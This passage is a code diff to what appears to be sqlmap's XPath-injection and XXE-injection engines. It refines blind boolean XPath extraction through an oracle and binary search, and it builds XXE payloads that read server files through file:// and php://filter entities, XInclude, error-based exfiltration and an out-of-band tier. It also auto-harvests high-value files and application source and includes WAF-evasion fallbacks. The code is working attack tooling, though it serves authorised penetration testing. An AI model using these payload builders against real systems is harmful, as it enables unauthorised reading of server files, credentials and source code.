extraction replaces the base with a non-matching SENTINEL; an AND-style boundary needs the
original branch to match, so it keeps the original. Calibrating with a different base than
extraction uses was the reviewer's core defect."""
return SENTINEL if " or " in (boundary.prefix or "") else (original or "x")
class _XPathPayloadBuilder(object):
"""Build XPath boolean predicates for blind tree-walking using the verified
injection boundary from detection. Each method returns a complete payload."""
@ -323,38 +383,60 @@ class _XPathPayloadBuilder(object):
return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n))
def _makeOracle(place, parameter, template):
"""Build an oracle from a verified true template. extract(payload) returns
True when the response is closer to the true template than to the false page."""
def _makeOracle(place, parameter, boundary, base):
"""Build an extraction oracle by RECALIBRATING true/false models from the FINAL extraction base +
boundary - the SAME base the _XPathPayloadBuilder uses for every later predicate (SENTINEL for an
OR-style boundary, the original value for an AND-style one). Calibrating with the original value
while extraction ran with SENTINEL made the models mismatch the actual probes. Send the boundary's
own `true()` / `false()` predicates on that base, reproduce each, require them SEPARABLE; else
return None so extraction is disabled rather than emitting fabricated data."""
cache = {}
def request(payload):
# Cache ONLY usable responses. A transient failure (timeout / 429 / intermittent 5xx / reset)
# must never be cached as if it were the answer - it would freeze a wrong bit for every later
# bisection step. An unusable response is re-sent on the next call instead.
if payload not in cache:
cache[payload] = _send(place, parameter, payload)
page = _send(place, parameter, payload)
if page is not None and not _isError(page):
cache[payload] = page
return page
return cache[payload]
falsePage = request(SENTINEL)
truePayload = _makePayload(base, boundary, "true()")
falsePayload = _makePayload(base, boundary, "false()")
trueModel = request(truePayload)
falseModel = request(falsePayload)
def oracle(payload):
page = request(payload)
if page is None or _isError(page):
return False
return _ratio(template, page) >= UPPER_RATIO_BOUND
# both models must be present, non-error, independently reproducible, and separable
if trueModel is None or falseModel is None or _isError(trueModel) or _isError(falseModel):
return None
if _ratio(trueModel, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND:
return None
if _ratio(falseModel, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND:
return None
if _ratio(trueModel, falseModel) >= UPPER_RATIO_BOUND: # indistinguishable -> can't extract
return None
def extract(payload):
# A transport failure / blocked / error response is UNKNOWN, not False: route even a missing
# initial sample through resolveBit(), which re-sends and ultimately raises InconclusiveError
# (so the value aborts) rather than pre-deciding a False bit that corrupts the bisection.
page = request(payload)
if page is None or _isError(page):
return False
trueRatio = _ratio(template, page)
falseRatio = _ratio(falsePage, page)
# Require either an unambiguous match against the template or a
# clear separation from the false page (minimum 5 %pt margin)
return trueRatio >= UPPER_RATIO_BOUND or (trueRatio - falseRatio) > 0.05
usable = page if (page is not None and not _isError(page)) else None
def fresh():
p = _send(place, parameter, payload)
return None if (p is None or _isError(p)) else p
return resolveBit(usable, trueModel, falseModel, fresh)
def oracle(payload):
return extract(payload)
oracle.extract = extract
oracle.template = template
oracle.falsePage = falsePage
oracle.template = trueModel
oracle.falsePage = falseModel
oracle.cache = cache
return oracle
@ -387,43 +469,57 @@ def _inferValue(oracle, builder, path, getter, maxLen=XPATH_MAX_LENGTH):
value = ""
probes = 0
for _ in xrange(maxLen):
found = False
try:
for _ in xrange(maxLen):
found = False
for cp in _CHARSET:
candidate = value + chr(cp)
probes += 1
for cp in _CHARSET:
candidate = value + chr(cp)
probes += 1
if oracle.extract(getter(builder, path, candidate)):
value = candidate
found = True
if oracle.extract(getter(builder, path, candidate)):
value = candidate
found = True
break
if not found:
break
if not found:
break
if value.endswith(" "):
value = value.rstrip()
break
if value.endswith(" "):
value = value.rstrip()
break
except InconclusiveError:
# the oracle stayed ambiguous after retries -> ABORT this value rather than silently
# truncate it with a wrong bit (returning None marks it unavailable, not fabricated)
logger.warning("XPath extraction aborted for a value (oracle inconclusive after retries)")
return None
logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, len(value)))
return value if value else None
def _inferCount(oracle, builder, path, countFn, maxCount=128):
"""Binary search for a count value using predicate 'count(...)>=N'."""
"""Binary search for a count value using predicate 'count(...)>=N'. Returns the count, or None
when the oracle is inconclusive - NEVER 0, because a real 0 means 'this element is a leaf' and the
tree walker would then fabricate scalar text for a node whose child count is actually UNKNOWN."""
if not oracle.extract(countFn(builder, path, 1)):
return 0
try:
if not oracle.extract(countFn(builder, path, 1)):
return 0
lo, hi = 1, maxCount
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle.extract(countFn(builder, path, mid)):
lo = mid
else:
hi = mid - 1
return lo
lo, hi = 1, maxCount
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle.extract(countFn(builder, path, mid)):
lo = mid
else:
hi = mid - 1
return lo
except InconclusiveError:
# unknown must NOT collapse to 0 (that reads as a leaf); signal it so the walker marks the
# node partial instead of inventing a structurally-plausible but wrong empty/leaf element
logger.warning("XPath count inference inconclusive (oracle ambiguous after retries)")
return None
def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
@ -436,36 +532,41 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
lot when walking a whole document tree. Characters outside the charset are
surfaced as '?' so the rest of the value is still recovered."""
if not oracle.extract(builder.stringLengthAtLeast(target, 1)):
return None
try:
if not oracle.extract(builder.stringLengthAtLeast(target, 1)):
return None
lo, hi = 1, maxLen
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle.extract(builder.stringLengthAtLeast(target, mid)):
lo = mid
else:
hi = mid - 1
length = lo
chars = []
probes = 0
last = len(_CS_ORDS) - 1
for pos in xrange(1, length + 1):
probes += 1
if not oracle.extract(builder.charPresent(target, pos)):
chars.append("?")
continue
clo, chi = 0, last
while clo < chi:
cmid = (clo + chi + 1) // 2
probes += 1
if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)):
clo = cmid
lo, hi = 1, maxLen
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle.extract(builder.stringLengthAtLeast(target, mid)):
lo = mid
else:
chi = cmid - 1
chars.append(chr(_CS_ORDS[clo]))
hi = mid - 1
length = lo
chars = []
probes = 0
last = len(_CS_ORDS) - 1
for pos in xrange(1, length + 1):
probes += 1
if not oracle.extract(builder.charPresent(target, pos)):
chars.append("?")
continue
clo, chi = 0, last
while clo < chi:
cmid = (clo + chi + 1) // 2
probes += 1
if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)):
clo = cmid
else:
chi = cmid - 1
chars.append(chr(_CS_ORDS[clo]))
except InconclusiveError:
# abort this value rather than emit a length/char chosen from an ambiguous bit
logger.warning("XPath string inference aborted (oracle inconclusive after retries)")
return None
value = "".join(chars)
logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, length))
@ -485,61 +586,84 @@ def _walkTree(oracle, builder, path="/*", depth=0):
logger.info("discovered element: '%s'" % name)
# None => inconclusive (NOT a real count). An unknown child/attribute count must leave the node
# PARTIAL: never treat unknown as a leaf (which would fabricate scalar text) or iterate a phantom
# range - only enumerate when the count is a confirmed, positive integer.
childCount = _inferCount(oracle, builder, path,
lambda b, p, c: b.childCount(p, c),
maxCount=32)
if childCount >= 32:
if childCount is None:
logger.warning("element '%s' child count is inconclusive; marking node partial" % name)
elif childCount >= 32:
logger.warning("element '%s' hit the 32-child cap; some child nodes may be omitted" % name)
attrCount = _inferCount(oracle, builder, path,
lambda b, p, c: b.attributeCount(p, c),
maxCount=16)
if attrCount >= 16:
if attrCount is None:
logger.warning("element '%s' attribute count is inconclusive; some attributes may be omitted" % name)
elif attrCount >= 16:
logger.warning("element '%s' hit the 16-attribute cap; some attributes may be omitted" % name)
attributes = []
for i in xrange(1, attrCount + 1):
for i in xrange(1, (attrCount or 0) + 1):
attrName = _inferString(oracle, builder, "name(%s/@*[%d])" % (path, i))
if not attrName:
continue
attrValue = _inferString(oracle, builder, "string(%s/@*[%d])" % (path, i))
attributes.append({"name": attrName, "value": attrValue or ""})
logger.info(" attribute: @%s='%s'" % (attrName, attrValue or ""))
# None => inconclusive (aborted) attribute value; mark it visibly, don't blank it into ""
shown = INCONCLUSIVE_MARK if attrValue is None else attrValue
attributes.append({"name": attrName, "value": shown})
logger.info(" attribute: @%s='%s'" % (attrName, shown))
# only a CONFIRMED zero child count means "leaf" -> infer its scalar text; an unknown (None) count
# must not be read as a leaf
text = None
if childCount == 0:
text = _inferString(oracle, builder, "string(%s)" % path)
children = []
for i in xrange(1, childCount + 1):
for i in xrange(1, (childCount or 0) + 1):
childPath = "%s/*[%d]" % (path, i)
child = _walkTree(oracle, builder, childPath, depth + 1)
if child:
children.append(child)
# PARTIAL when a count is unknown (None) OR a cap was hit (>=32 children / >=16 attributes) - a
# truncated node is not a complete one
partial = (childCount is None or attrCount is None
or (childCount is not None and childCount >= 32)
or (attrCount is not None and attrCount >= 16))
return {
"name": name,
"path": path,
"children": children,
"attributes": attributes,
"text": text,
"partial": partial,
}
def _treeToTable(node):
"""Flatten a tree node to (columns, rows) for grid output."""
"""Flatten a tree node to (columns, rows) for grid output. A node whose child/attribute count was
inconclusive is flagged (Element name suffixed with ' [partial]') so the recovered structure is
visibly distinguished from a fully-enumerated one."""
columns = ["Path", "Element", "Attribute", "Value"]
rows = []
def _flatten(n, depth=0):
path = n["path"]
rows.append([path, n["name"], "", ""])
partial = n.get("partial")
name = n["name"] + (" [partial]" if partial else "")
# keep the bare element row when the node is PARTIAL (so a partial node with no recovered
# attributes/children/text still appears - it must not be filtered away as if fully empty)
rows.append([path, name, "", "[partial - enumeration inconclusive]" if partial else ""])
for attr in n.get("attributes", []):
rows.append([path, n["name"], "@" + attr["name"], attr["value"]])
rows.append([path, name, "@" + attr["name"], attr["value"]])
if n.get("text"):
rows.append([path, n["name"], "text()", n["text"]])
rows.append([path, name, "text()", n["text"]])
for child in n.get("children", []):
_flatten(child, depth + 1)
@ -605,15 +729,23 @@ def xpathScan():
template, payload, boundary = _detectBoolean(place, parameter)
if template:
if boundary and boundary.extractable:
found += 1
backend = backendHint or "Generic XPath"
logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s')" % (place, parameter, backend))
original = _originalValue(place, parameter) or ""
oracle = _makeOracle(place, parameter, boundary, _extractionBase(original, boundary))
found += 1
if conf.beep:
beep()
oracle = _makeOracle(place, parameter, template)
if oracle is None:
# detection is confirmed, but the extraction true/false models are not
# reliably separable - report the finding WITHOUT extracting (never emit
# fabricated tree data from an unstable oracle)
logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s'); "
"extraction disabled (true/false models not reliably separable)" % (place, parameter, backend))
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: XPath boolean-based blind (extraction unavailable)\n Payload: %s\n---" % (parameter, place, payload))
continue
logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s')" % (place, parameter, backend))
slots.append(Slot(place=place, parameter=parameter, backend=backend,
oracle=oracle, template=template, payload=payload,
oracle=oracle, template=oracle.template, payload=payload,
boundary=boundary))
continue
@ -653,13 +785,8 @@ def xpathScan():
return
original = _originalValue(slot.place, slot.parameter) or "x"
# OR-style boundaries always-true if the original branch matches, so use a
# sentinel that is guaranteed not to appear as a field value. AND-style
# boundaries need the original branch to match; keep the original there.
if " or " in slot.boundary.prefix:
base = SENTINEL
else:
base = original
# SAME base the oracle was calibrated with (see _extractionBase / _makeOracle)
base = _extractionBase(original, slot.boundary)
builder = _XPathPayloadBuilder(base, slot.boundary)
oracle = slot.oracle

View file

@ -16,6 +16,7 @@ from lib.core.common import singleTimeWarnMessage
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.convert import getUnicode
from lib.core.convert import htmlUnescape
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@ -34,8 +35,13 @@ from lib.core.settings import XXE_WEBROOTS
from lib.core.settings import OOB_POLL_ATTEMPTS
from lib.core.settings import OOB_POLL_DELAY
from lib.core.settings import XXE_LOCAL_DTDS
from lib.core.settings import XXE_LOCATION_SWEEP_MAX
from lib.core.settings import XXE_TIME_THRESHOLD
from lib.core.settings import UPPER_RATIO_BOUND
from lib.request.connect import Connect as Request
from lib.utils.nonsql import ratio as _ratio
from lib.utils.xrange import xrange
from thirdparty.six.moves import urllib as _urllib
# Fresh per-scan sentinel token. Deliberately a random opaque string (never
# root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and
@ -50,6 +56,11 @@ _MARKER = None
# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan).
_OOB_CONSENT = None
# Latched leaf text-node location that the in-band reflection sweep proved workable. Every subsequent
# body-injection tier (`_placeRef` with index left as None) reuses it, so once the reflecting node is
# found the file-read/harvest/XInclude tiers all target that same spot instead of always the first leaf.
_PLACE_INDEX = 0
# First element of the document (skipping the <?xml?> prolog, comments and any
# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc.
_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)")
@ -139,57 +150,152 @@ def _send(body):
return ""
def _scanDoctype(xml):
"""Non-resolving lexical scan for a DOCTYPE declaration. Returns {start, subsetOpen, subsetClose,
end} byte offsets (subsetOpen/subsetClose None when there is no internal subset), or None when the
document has no DOCTYPE. Tracks quote state, comments and the internal subset so a '>' or ']>'
sitting inside a quoted entity value, a comment, or a nested markup declaration does NOT
prematurely terminate the scan - a plain regex mis-detects every one of those and either truncates
the DOCTYPE or finds a phantom subset close, corrupting the built payload. This scanner never
resolves entities or fetches external ids; it only locates boundaries."""
m = re.search(r"<!DOCTYPE\b", xml)
if not m:
return None
n = len(xml)
i = m.end()
subsetOpen = subsetClose = None
quote = None
while i < n:
c = xml[i]
if quote:
if c == quote:
quote = None
i += 1
elif xml.startswith("<!--", i):
end = xml.find("-->", i + 4)
i = (end + 3) if end != -1 else n
elif c in ('"', "'"):
quote = c
i += 1
elif c == '[' and subsetOpen is None:
subsetOpen = i
j, depth, iq = i + 1, 0, None
while j < n: # scan the internal subset to its matching ']'
cj = xml[j]
if iq:
if cj == iq:
iq = None
j += 1
elif xml.startswith("<!--", j):
e = xml.find("-->", j + 4)
j = (e + 3) if e != -1 else n
elif cj in ('"', "'"):
iq = cj
j += 1
elif cj == ']' and depth == 0:
subsetClose = j
break
else:
if cj == '<':
depth += 1
elif cj == '>' and depth > 0:
depth -= 1
j += 1
i = (subsetClose + 1) if subsetClose is not None else n
elif c == '>':
return {"start": m.start(), "subsetOpen": subsetOpen, "subsetClose": subsetClose, "end": i + 1}
else:
i += 1
return {"start": m.start(), "subsetOpen": subsetOpen, "subsetClose": subsetClose, "end": n}
def _contentStart(xml):
"""Offset at which document-element content begins: just past a DOCTYPE (located by the lexical
scanner, so a quoted '>' / comment / CDATA inside it is not mistaken for its end), else just past
the XML prolog, else 0. Text-node operations start here so they never touch the DTD."""
doctype = _scanDoctype(xml)
if doctype:
return doctype["end"]
prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL)
return prolog.end() if prolog else 0
def _buildDoctype(xml, rootName, internalSubset):
"""Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`.
A document may already declare a DOCTYPE - injecting a second one is invalid
XML and every parser rejects it, so we splice into the existing declaration
instead (into its internal subset, or by adding one to a subset-less DOCTYPE)."""
instead (into its internal subset, or by adding one to a subset-less DOCTYPE).
Boundaries come from the lexical scanner, not a regex, so a quoted '>' or a
comment inside an existing DOCTYPE cannot misplace the splice."""
existing = re.search(r"<!DOCTYPE\s+[^>\[]*\[", xml)
if existing:
doctype = _scanDoctype(xml)
if doctype and doctype["subsetOpen"] is not None:
# Splice our declarations into the existing internal subset.
insertAt = xml.index('[', existing.start()) + 1
insertAt = doctype["subsetOpen"] + 1
return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:]
subsetless = re.search(r"<!DOCTYPE\s+[^>\[]*>", xml)
if subsetless:
if doctype:
# DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"):
# add an internal subset before its closing '>' (both may legally coexist).
close = xml.index('>', subsetless.start())
close = doctype["end"] - 1
return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:]
doctype = "<!DOCTYPE %s [\n%s\n]>" % (rootName, internalSubset)
built = "<!DOCTYPE %s [\n%s\n]>" % (rootName, internalSubset)
prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL)
if prolog:
end = prolog.end()
return xml[:end] + "\n" + doctype + xml[end:]
return doctype + "\n" + xml
return xml[:end] + "\n" + built + xml[end:]
return built + "\n" + xml
def _placeRef(xml, snippet, attrs=False):
"""Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf
text node - not just the first - so detection does not depend on which field the
application happens to reflect. When `attrs` is set (internal-entity tier only),
also seed existing attribute values, since a general internal entity legally
expands inside an attribute (external entity refs do NOT - never seed attributes
for the external/XInclude tiers or the document becomes ill-formed). Falls back to
injecting just before the root's closing tag when there is no text node at all."""
def _textNodeCount(xml):
"""Number of leaf text nodes `_placeRef` can target (for callers that sweep one location at a
time). Excludes the DOCTYPE, mirroring `_placeRef` (via the lexical `_contentStart`)."""
return len(_TEXTNODE_RE.findall(xml[_contentStart(xml):]))
def _sweepLocations(xml):
"""Ordered list of leaf-text-node indices for a body-injection tier to try, bounded by
XXE_LOCATION_SWEEP_MAX so a document with many text nodes cannot explode the request count. When
the user pinned an explicit injection marker there is exactly one spot, so no sweep is needed."""
if _MARKER and _MARKER in xml:
return [0]
return list(xrange(min(max(1, _textNodeCount(xml)), XXE_LOCATION_SWEEP_MAX)))
def _placeRef(xml, snippet, attrs=False, index=None):
"""Insert `snippet` (an entity reference or an XInclude element) into ONE leaf text node - the
`index`-th - PRESERVING every other value. Replacing every leaf (and, in the internal-entity tier,
every attribute) at once corrupted the whole document: schema validation, XML signatures/checksums,
authentication values, IDs and routing fields were all destroyed, which both causes false negatives
(the app rejects the mutated document, unrelated to entity handling) and can trigger application-side
actions on altered values. An explicit '*'/marker still wins. When `attrs` is set and there is no
text node, seeds ONE attribute value. `index` None (the default) uses the latched `_PLACE_INDEX` -
the location the reflection sweep proved workable - so downstream read tiers reuse it; the sweep
itself passes an explicit `index` 0..N-1 (see `_textNodeCount`) to try each location individually.
`snippet` is placed in exactly one spot per call so the rest of the document stays well-formed and
semantically intact."""
if index is None:
index = _PLACE_INDEX
if _MARKER and _MARKER in xml:
return xml.replace(_MARKER, snippet) # honour the user's explicit injection point
start = re.search(r"\]>", xml).end() if "]>" in xml else 0
start = _contentStart(xml) # skip the DOCTYPE via the lexical scanner (quote/comment safe)
head, tail = xml[:start], xml[start:]
tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail)
matches = list(_TEXTNODE_RE.finditer(tail))
if matches:
m = matches[index if 0 <= index < len(matches) else 0]
return head + tail[:m.start()] + ">" + snippet + "<" + tail[m.end():]
if attrs:
# Seed every attribute value except namespace declarations (xmlns / xmlns:*),
# whose rewriting would break the document. Only touches simple, entity-free
# values (the '[^"\'<>&]*' class) so we never corrupt existing markup.
tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''',
lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail)
count += acount
if count:
return head + tail
# a general internal entity legally expands inside an attribute value; seed ONE attribute
# (never xmlns) when the document has no text node. External-entity/XInclude tiers must not
# request this (an external ref in an attribute is ill-formed).
am = re.search(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''', tail)
if am:
return head + tail[:am.start()] + "%s%s%s%s" % (am.group(1), am.group(2), snippet, am.group(2)) + tail[am.end():]
rootName = _rootName(xml)
if rootName:
@ -229,11 +335,11 @@ def _echoed(page):
return False
def _report(title, payload):
def _report(title, payload, vulnType="XXE injection"):
if conf.beep:
beep()
place = conf.method or HTTPMETHOD.POST
conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: %s\n Title: %s\n Payload: %s\n---" % (place, vulnType, title, payload))
def _saveFileRead(remoteFile, content):
@ -349,15 +455,16 @@ def _harvestSource(xml, rootName, harvested):
return result
def _tryInternal(xml, rootName, baseline):
def _tryInternal(xml, rootName, baseline, index=None):
"""T2 in-band: an internal general entity expands to the sentinel and is
reflected. Guarded by a negative control (sentinel absent from baseline) and
a raw-echo guard (the literal '&ent;' must NOT survive - that would mean the
app merely mirrors the body without parsing entities)."""
app merely mirrors the body without parsing entities). `index` selects the leaf
text node to inject into (the sweep in `xxeScan` tries each in turn)."""
ent = randomStr(length=8, lowercase=True)
subset = '<!ENTITY %s "%s">' % (ent, SENTINEL)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True, index=index)
page = _send(payload)
if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline:
@ -378,35 +485,83 @@ def _confirmRead(page, pattern, baseline):
return None
def _tryInbandFileRead(xml, rootName, fileName):
"""Read an arbitrary file IN-BAND on a reflective target: place the external
entity between two random markers so the exact file content can be sliced out
of the response regardless of surrounding template. Raw file:// works for text
files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
(content, payload) or (None, None)."""
def _normalizeEscaping(text):
"""Bounded, non-resolving decode of the common reflection encodings (HTML entities, percent-
encoding, JS \\uXXXX / escaped slash) so an ESCAPED entity reference (&amp;e;, &#38;e;, &#x26;e;,
%26e%3B, \\u0026e;) is unmasked and can be recognised as reflection rather than file content."""
out = getUnicode(text)
for _ in range(3): # a few rounds catch double-encoding; capped
prev = out
try:
out = htmlUnescape(out)
except Exception:
pass
try:
out = _urllib.parse.unquote(out)
except Exception:
pass
out = out.replace("\\u0026", "&").replace("\\u003b", ";").replace("\\/", "/")
if out == prev:
break
return out
def _readBetweenMarkers(xml, rootName, systemId, isB64, m1, m2):
"""Read `systemId` via an external entity placed between markers `m1`/`m2`; slice, reject a
reflected (un-expanded) entity in any encoding, and base64-decode when requested. Returns
(content, payload) with content=None when nothing usable came back."""
from lib.core.convert import decodeBase64
ent = randomStr(8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
page = getUnicode(_send(payload))
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL)
if not match:
return None, payload
data = match.group(1)
# a reflected (not expanded) entity in ANY encoding: the random entity NAME survives de-escaping ->
# the parser echoed the reference, it did not resolve the external entity -> not file content
if not data.strip() or ent in _normalizeEscaping(data):
return None, payload
if isB64:
try:
data = getText(decodeBase64(data.strip())) # strict base64 also validates real bytes
except Exception:
return None, payload
if not data or not data.strip() or ent in _normalizeEscaping(data):
return None, payload
return (data if (data and data.strip()) else None), payload
def _tryInbandFileRead(xml, rootName, fileName):
"""Read an arbitrary file IN-BAND on a reflective target. The strict php://filter base64 channel is
PREFERRED (self-validating: only real bytes decode). The raw file:// channel is guarded by a MATCHED
CONTROL - a read of a random NONEXISTENT path with identical markers: a gateway/sanitizer that
substitutes a fixed placeholder (e.g. '[external entity disabled]', an error string) returns the
SAME text regardless of path, so if the requested-path read is materially identical to the
nonexistent-path read it is NOT genuine content and is rejected. Returns (content, payload) or
(None, None)."""
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
for systemId, isB64 in ((_toSystemId(fileName), False),
("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True)):
ent = randomStr(8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
page = getUnicode(_send(payload))
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL)
if not match:
continue
data = match.group(1)
if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo
continue
if isB64:
try:
data = getText(decodeBase64(data.strip()))
except Exception:
continue
if data and data.strip():
return data, payload
# (1) preferred: strict base64 (PHP) - decoding proves the bytes are real, no control needed
data, payload = _readBetweenMarkers(xml, rootName,
"php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True, m1, m2)
if data:
return data, payload
# (2) raw file:// with a nonexistent-path differential control
data, payload = _readBetweenMarkers(xml, rootName, _toSystemId(fileName), False, m1, m2)
if data:
bogus = _toSystemId("/%s/%s" % (randomStr(10, lowercase=True), randomStr(12, lowercase=True)))
control, _ = _readBetweenMarkers(xml, rootName, bogus, False, m1, m2)
if control is not None and _ratio(control, data) >= UPPER_RATIO_BOUND:
# a nonexistent path returned the same/similar text -> a path-independent placeholder, not
# the requested file's contents
logger.debug("XXE raw read of '%s' matches a nonexistent-path control; rejecting placeholder" % fileName)
return None, None
return data, payload
return None, None
@ -541,13 +696,14 @@ def _tryErrorExfil(xml, rootName, errorChannel=False):
return None, None
def _tryXInclude(xml, rootName, baseline):
def _tryXInclude(xml, rootName, baseline, index=None):
"""T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as
text. Confirmed when the file content appears in the response (baseline-guarded)."""
text. Confirmed when the file content appears in the response (baseline-guarded).
`index` selects the leaf text node to inject the <xi:include> into."""
for systemId, pattern in XXE_IMPACT_FILES:
snippet = '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="%s" parse="text"/>' % systemId
payload = _placeRef(xml, snippet)
payload = _placeRef(xml, snippet, index=index)
confirmed = _confirmRead(_send(payload), pattern, baseline)
if confirmed:
return payload, systemId, confirmed
@ -737,9 +893,10 @@ def _tryOob(xml, rootName):
def xxeScan():
global SENTINEL, _OOB_CONSENT
global SENTINEL, _OOB_CONSENT, _PLACE_INDEX
SENTINEL = randomStr(length=12, lowercase=True)
_OOB_CONSENT = None
_PLACE_INDEX = 0
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
@ -769,7 +926,14 @@ def xxeScan():
# then emit a SINGLE report block with the strongest confirmed vector and its real
# payload (one report per finding, as with the other non-SQL engines). The internal
# expansion is only reported on its own when no external-entity read is reachable.
payload, page = _tryInternal(xml, rootName, baseline)
payload = page = None
for _locIndex in _sweepLocations(xml):
payload, page = _tryInternal(xml, rootName, baseline, index=_locIndex)
if payload:
_PLACE_INDEX = _locIndex # latch the reflecting location for every downstream read tier
if _locIndex:
logger.debug("in-band reflection confirmed at leaf text-node location #%d" % _locIndex)
break
if payload:
expansionSeen = True
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
@ -782,15 +946,16 @@ def xxeScan():
_report("In-band file read ('%s')" % conf.fileRead, readPayload)
_dumpFileRead(conf.fileRead, content)
else:
# No targeted '--file-read': proactively harvest a curated set of high-value
# files (data stays in the response, no third party) - the XXE analogue of
# the automatic dumping the other non-SQL engines do once confirmed.
# No targeted '--file-read': AUTO-HARVEST a curated set of high-value files (the data
# stays in the response, no third party). `--xxe` is an auxiliary, self-contained switch
# - users generally don't know which file to request, so once an in-band read primitive
# is confirmed we harvest by default (the XXE analogue of the other non-SQL engines'
# automatic dumping). A specific target still overrides via '--file-read <path>'.
harvested = _harvestFiles(xml, rootName)
if harvested:
found = True
firstPath, _, firstPayload = harvested[0]
# follow-up: server-side application source disclosure (php://filter)
harvested += _harvestSource(xml, rootName, harvested)
harvested += _harvestSource(xml, rootName, harvested) # server-side app source (php://filter)
logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
saved = []
@ -804,9 +969,8 @@ def xxeScan():
if saved:
conf.dumper.rFile(saved)
else:
# Harvest read nothing (content relocated in the response, or only benign
# host-identity is exposed): fall back to the pattern-based impact proof
# so file-read impact is still confirmed.
# harvest read nothing (content relocated, or only benign host-identity exposed):
# fall back to the pattern-based impact proof so file-read impact is still confirmed
systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
if not systemId:
readPayload = _tryPhpFilter(xml, rootName, baseline)
@ -817,9 +981,12 @@ def xxeScan():
_report("In-band file-read impact (external entity '%s')" % systemId, readPayload)
if not found:
# external entities are disabled (only internal expansion is reachable):
# report that weaker-but-real finding with its actual payload
_report("In-band DTD/internal entity expansion", payload)
# Only INTERNAL general-entity expansion is reachable - external retrieval / local file
# access / XInclude / OOB were NOT proven. That is a parser-configuration weakness, NOT a
# confirmed XXE (which requires external resolution). Report it as its own, weaker finding
# so it is not conflated with a true external-entity XXE.
_report("DTD/internal general entity expansion enabled (external entity access NOT confirmed)",
payload, vulnType="XML parser configuration")
# T3: error-based (works where entities are not reflected but errors leak). A
# redundant detection channel once in-band reflection was already seen, so it is
@ -853,13 +1020,16 @@ def xxeScan():
_report("Error-based in-band file read ('%s')" % fileName, "<error-based exfiltration of '%s'>" % fileName)
_dumpFileRead(fileName, content)
# T4: XInclude fallback (no DOCTYPE/entity control needed)
# T4: XInclude fallback (no DOCTYPE/entity control needed). Reflection never latched a location
# here, so sweep the leaf text nodes (a schema-rejected or non-parsed first leaf otherwise hides it).
if not found:
payload, systemId, snippet = _tryXInclude(xml, rootName, baseline)
if payload:
found = True
logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet))
_report("XInclude file read ('%s')" % systemId, payload)
for _locIndex in _sweepLocations(xml):
payload, systemId, snippet = _tryXInclude(xml, rootName, baseline, index=_locIndex)
if payload:
found = True
logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet))
_report("XInclude file read ('%s')" % systemId, payload)
break
# T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16
